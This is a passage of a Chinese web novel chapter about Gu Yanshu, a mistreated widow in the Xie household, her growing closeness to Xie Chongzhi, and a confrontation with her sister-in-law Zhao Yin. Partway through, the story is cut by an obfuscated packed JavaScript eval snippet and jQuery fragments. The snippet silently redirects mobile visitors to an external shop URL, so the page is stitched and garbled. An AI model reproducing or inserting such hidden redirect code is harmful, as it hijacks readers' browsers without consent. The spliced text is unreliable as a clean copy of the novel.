四目相触,男子灼热的气息萦绕鼻息,顾言舒忙别过脸,声音哑然中带着心虚,他就这般大喇喇走到她身边,在她耳边说着亲昵的话,叫旁人看见了,听见了该如何?
这般想着,她朝罗氏等人看去,此时因老夫人在这里,她们都应承在老夫人身侧,并没注意到她和谢崇治。
见此,顾言舒微不可察舒了口气。
不想,自己如释重负的模样,全然落入谢崇治眼中,他又朝她靠近了一步,二人的衣料紧贴,顾言舒几乎是半倚在他怀中,他周身的墨香,似被点燃了般,灼得她脸颊泛红。
“别怕,有我在这里,她们不敢欺负你。”
他的声音温醇好听,叫人心安。
顾言舒知道他误会了,误会她的轻叹是担心被罗氏等人欺负,所以他用行动保护她,告诉她,只要有他的地方,她们就不敢对她如何。
“好,多谢世子。”顾言舒没有解释,她贪婪得接受了他的保护,从小她便用小小的身躯守护着弟弟和姨娘,长大后她也如风中的飘絮,无依无靠,别人欺她,她便躲着,别人苛待她,她默默承受,因为她背后无人,她能做的唯有像一根蒲草,孤独得坚毅着,可这一刻,颀长的身影,如一堵暖墙,支撑着她,她不用再谨慎小心,思前想后,慌乱的心,可以稍稍的在一处停留,享有片刻的安宁。
可平静总是短暂的,在谢老夫人目光移来之前,她从他怀里走了出来,同他隔开半臂距离,然后对他道:“我去外面看看香烛够不够。”
说完,也不待谢崇治回答,便头也不回出了大殿。
望着她离去的背影,谢崇治眼中的温柔快要溢出来,而这一幕,恰巧被谢老夫人看见,她不觉沉了沉眉,对身旁伺候的嬷嬷道:“待会儿,你去趟安南王府,叫玫儿过两日带文禾公主来家中小聚。”
顾言舒去了外面,细数香案上堆放的纸钱香烛,一旁的夏荷在她耳边,悄声道:“少夫人,世子一直在看这边。”
夏荷心灵福至,早看出来谢崇治对顾言舒不一般,不似大伯和寡弟媳,很多时候,言行超过界限。
眼下又是深情款款,目光几乎粘在少夫人身上,夏荷就是再迟钝,也能看出他对她们少夫人有意。
“别胡说,他那是在看别处,好端端的看我作何?”顾言舒口里虽这般说,但谢崇治是否在看她,她心里清楚得很,心中不免对他嗔怪:“也不怕被别人知道他在看她,太过明目张胆了些。”
夏荷见顾言舒不信,继续道:“少夫人是真的,世子在看您,不信的话,您自己看。”
顾言舒唯恐她的话叫人听见,赶忙去捂她的嘴:“我知道了,知道了,你小点声。”
夏荷后知后觉,自己方才的话,要是让旁人听见了,会给顾言舒招来祸事,忙四下环顾,见大家都在各忙各的,并未理会她们,这才讪讪拿开顾言舒捂她嘴的手,低声道:“是吧,他肯定对您……”
顾言舒瞪了她一眼:“你还说。”
夏荷忙闭了嘴,嬉笑看着顾言舒:“不说了,不说了。”
她们少夫人脸皮薄,稍稍逗她就面红如血,可见她对世子,也并不是平日见的那般疏离。
应也有些她自己都未曾察觉的感情掺杂其中。
夏荷是顾言舒在娘家时,用攒下的钱,从人牙子手中买来的,后来顾言舒嫁来谢家,夏荷自然而然也跟了来,她看过顾言舒和谢崇修在一起时的样子。
迎合,局促,百依百顺,少夫人对谢崇修更多的是报恩,若说男女之情,她没有在她面上见过。
可面对谢崇治时,少夫人常是羞赧,迷惘,少女情态毕现,那是一种无意间流露出的情丝。
顾言舒没有细究,夏荷在笑什么,主仆二人,用一盏茶的功夫把东西清点完,不多不少整好,不用再额外命人去城里买了。
因着东西不缺,祭祀祖先之礼在日落西山前,办完了,一行人坐上马车,往京中赶。
忙了几日的顾言舒身体疲乏,昏昏欲睡,她拿过一旁的毡毯盖在自己和夏荷身上,“回京的路还远着了,先睡一觉。”
说完,她就闭上眼睛,眉目舒展,一脸惬意。
夏荷见她这般,不免奇道:“少夫人,我觉着您变了。”
“变了?”顾言舒不以为意道:“哪里变了?”
“您从前可从不在马车上睡觉的。”
从前的顾言舒,总是一副战战兢兢,前怕狼后怕虎的模样,和家中长辈出门,她常是竖起耳朵,生怕张氏或是老夫人让她去近前伺候,自己没听见,误了事,招来责罚。
所以在马车上,莫说是睡觉了,就是同人闲聊,也是极少的。
但眼下的她,身子半歪在车壁上,用毡毯把自己裹得严严实实的,似乎这般还不舒服,又把桌上的茶水倒进汤婆子里暖手。
顾言舒睁眼笑问她:“我从前那般尽心尽力,处处谨慎小心,可有换来她们的好脸?”
夏荷摇头。
“婆母可有因我做低伏小,打不还口,骂不还手而放过我?”
夏荷继续摇头。
“老夫人呢,她是否因我孤若,对我多有偏颇?”
“没有。”
“那就对了,既然我的好,我的忍让,换不来尊重,不如就破罐破摔,随她们去吧。”
至少婆母张氏没在她这里讨着好,罗氏等人也被她搅得相互怄气,总比她懦弱以待,得来的结果好。
听了顾言舒的话,夏荷狠狠点头:“您终于不再忍着了,我又看到了那个带我出逃的小姐了。”
在夏荷眼中,顾言舒能忍,在顾家时,无论顾家嫡母,如何打骂她,她都不作声,夏荷看在眼中焦急不已,以为她会一辈子如此,叫人打死了也不吭一声。
可就在顾家嫡母逼迫她去勾|引谢家子,继而嫁进谢家的那个晚上,她叫醒了熟睡的她,让她同她一起出逃。
她要带姨母和亲弟离开京城,去往别处谋生,那是夏荷第一次看到不一样的顾言舒,勇敢坚毅,从容不迫,仿佛世间的一切都无法将她击垮。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504121|202858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但天不遂人愿,他们被抓了回去。后来谢家三爷破天荒的,主动上门要了婚书,把她迎进谢家。
从那以后,顾言舒又变成了原来的样子,常是一副恭顺谨慎,逆来顺受的模样,一切在都无法在她冷透的心湖,激起半点波澜。
不过,现在那个小姐,又回来了,夏荷不无感慨:“若那日陆如安没有出卖您,后面您就不用受那些苦了。”
在夏荷看来谢崇修对顾言舒是好的,但那些好,不足以抵消后面,谢家旁人,一而再再而三的刁难,百分之一都不能,她们少夫人实在太苦了,她想,若不是张氏这次把少夫人逼到无路可退,不得不还击,她还会一直忍下去,便要一直受苦。
顾言舒笑着把夏荷搂在怀中,对她道:“不会了,日后你我都不会受苦了。”
谢府那些人都是欺软怕硬的主儿,只要她强硬些,她们便不敢拿她怎样,她虽然醒悟的晚些,但到底是醒了,以后她要尽自己所能护自己和夏荷周全,不叫人欺负了去。
回到谢府时已是深夜,顾言舒随罗氏等人服侍谢老夫人睡下,准备离开,被赵茵出言唤住。
白日,顾言舒拨弄是非,害她挨打的事儿,她可是一直记在心上。
“五弟媳叫我作何?”顾言舒冷眼看她。
“什么事儿?”赵茵嗤笑:“没想到三嫂嫂倒学会装模作样了,别人不知道你是个什么玩意,我可清楚。”
顾言舒自然知道赵茵是因为白日的事,要与她为难。但眼下她累了,不想同她多说什么,淡声道:“说够了,说够了我便回去了。”
赵茵本想着借题发挥,不想一拳打在棉花上,顾言舒根本不接话,这倒让她更气,她上前拦住顾言舒:“你可别忘了你的身份,你不过是个寡妇,又是家中庶女,比不了文禾公主的一根手指,你就是再乔模乔样,世子也不会看上你的。”
她以为,顾言舒敢挑拨离间,敢公然顶撞谢老夫人,更是当众揭穿张氏不堪的过往,皆是因有谢崇治在背后撑腰,所以行事肆无忌惮。
想到这里,赵茵继续道:“像你这种穷苦人家出生的女郎就是眼皮子浅,男子的一点小恩小惠,就能把你们收买了,却不知,他们的感情来得快,去得也快,今儿可以做你的靠山,明儿又把旁的女子搂在怀中亲昵,怎会把感情放在一人身上。”
见顾言舒神情失落下去,她冷笑:“既然知道了,就收收你那得势的模样,日后在我们面前,该低声下气便低声下气,该……”
然而她后面的话还未说完,便被顾言舒狠狠打了一耳光。
“呀,你脸上方才有个蚊子,我本想着打死它,倒叫它飞走了。”顾言舒假作关切看向赵茵:“没打疼你吧。”
“你……”赵茵捂着脸,眼泪在眼中打转,想要还回去,却陡然看见了站在顾言舒身后的谢崇治。
她望着谢崇治,想挑拨二人之间的关系:“这样早三暮四的女子,分明和二爷关系不清不楚的,如今又来招惹您,您可不要被她骗了去。”